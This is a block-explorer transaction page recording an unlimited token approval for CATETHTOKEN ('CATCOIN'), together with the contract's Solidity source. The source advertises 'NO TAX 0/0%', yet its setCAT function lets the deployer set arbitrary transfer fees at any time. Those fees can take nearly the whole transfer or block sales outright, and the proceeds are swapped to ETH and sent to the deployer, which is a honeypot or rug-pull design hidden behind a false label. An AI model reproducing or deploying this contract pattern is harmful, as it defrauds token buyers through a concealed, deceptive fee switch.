Transaction Hash:
Block:
19960626 at May-27-2024 10:31:11 AM +UTC
Transaction Fee:
0.000347063385277791 ETH
$0.90
Gas Used:
26,919 Gas / 12.892878089 Gwei
Emitted Events:
304 |
CATETHTOKEN.Approval( owner=[Sender] 0x4a2c0fcc62e09d2b69948671e9a6ed2822e7d15f, spender=0x00000000...43aC78BA3, value=9000000000000000000000000000000000000000000000000000000000000000 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x1f9090aa...8e676c326
Miner
| 4.800659107234495505 Eth | 4.800659376424495505 Eth | 0.00000026919 | ||
0x4a2c0fCc...822e7D15F |
0.096665047347964567 Eth
Nonce: 4
|
0.096317983962686776 Eth
Nonce: 5
| 0.000347063385277791 |
Execution Trace
CATETHTOKEN.approve( spender=0x000000000022D473030F116dDEE9F6B43aC78BA3, amount=9000000000000000000000000000000000000000000000000000000000000000 ) => ( True )
approve[CATETHTOKEN (ln:63)]
Approval[CATETHTOKEN (ln:65)]
/* The most asked question in the universe is ZACK? NO TAX 0/0% */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.20; interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract CATETHTOKEN { string public constant name = "CATCOIN"; // string public constant symbol = "CAT"; // uint8 public constant decimals = 18; uint256 public constant totalSupply = 100_000_000 * 10**decimals; uint256 BurnAmount = 0; uint256 ConfirmAmount = 0; uint256 constant swapAmount = totalSupply / 100; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; error Permissions(); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); address private pair; address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress); address payable constant deployer = payable(address(0xbf7484b2AbE1f1E1Df7ea264516dC362D443312D)); // bool private swapping; bool private tradingOpen; constructor() { balanceOf[msg.sender] = totalSupply; allowance[address(this)][routerAddress] = type(uint256).max; emit Transfer(address(0), msg.sender, totalSupply); } receive() external payable {} function approve(address spender, uint256 amount) external returns (bool){ allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) external returns (bool){ return _transfer(msg.sender, to, amount); } function transferFrom(address from, address to, uint256 amount) external returns (bool){ allowance[from][msg.sender] -= amount; return _transfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) internal returns (bool){ require(tradingOpen || from == deployer || to == deployer); if(!tradingOpen && pair == address(0) && amount > 0) pair = to; balanceOf[from] -= amount; if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){ swapping = true; address[] memory path = new address[](2); path[0] = address(this); path[1] = ETH; _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( swapAmount, 0, path, address(this), block.timestamp ); deployer.transfer(address(this).balance); swapping = false; } if(from != address(this)){ uint256 FinalAmount = amount * (from == pair ? BurnAmount : ConfirmAmount) / 95; amount -= FinalAmount; balanceOf[address(this)] += FinalAmount; } balanceOf[to] += amount; emit Transfer(from, to, amount); return true; } function openTrading() external { require(msg.sender == deployer); require(!tradingOpen); tradingOpen = true; } function setCAT(uint256 newBurn, uint256 newConfirm) external { require(msg.sender == deployer); BurnAmount = newBurn; ConfirmAmount = newConfirm; } }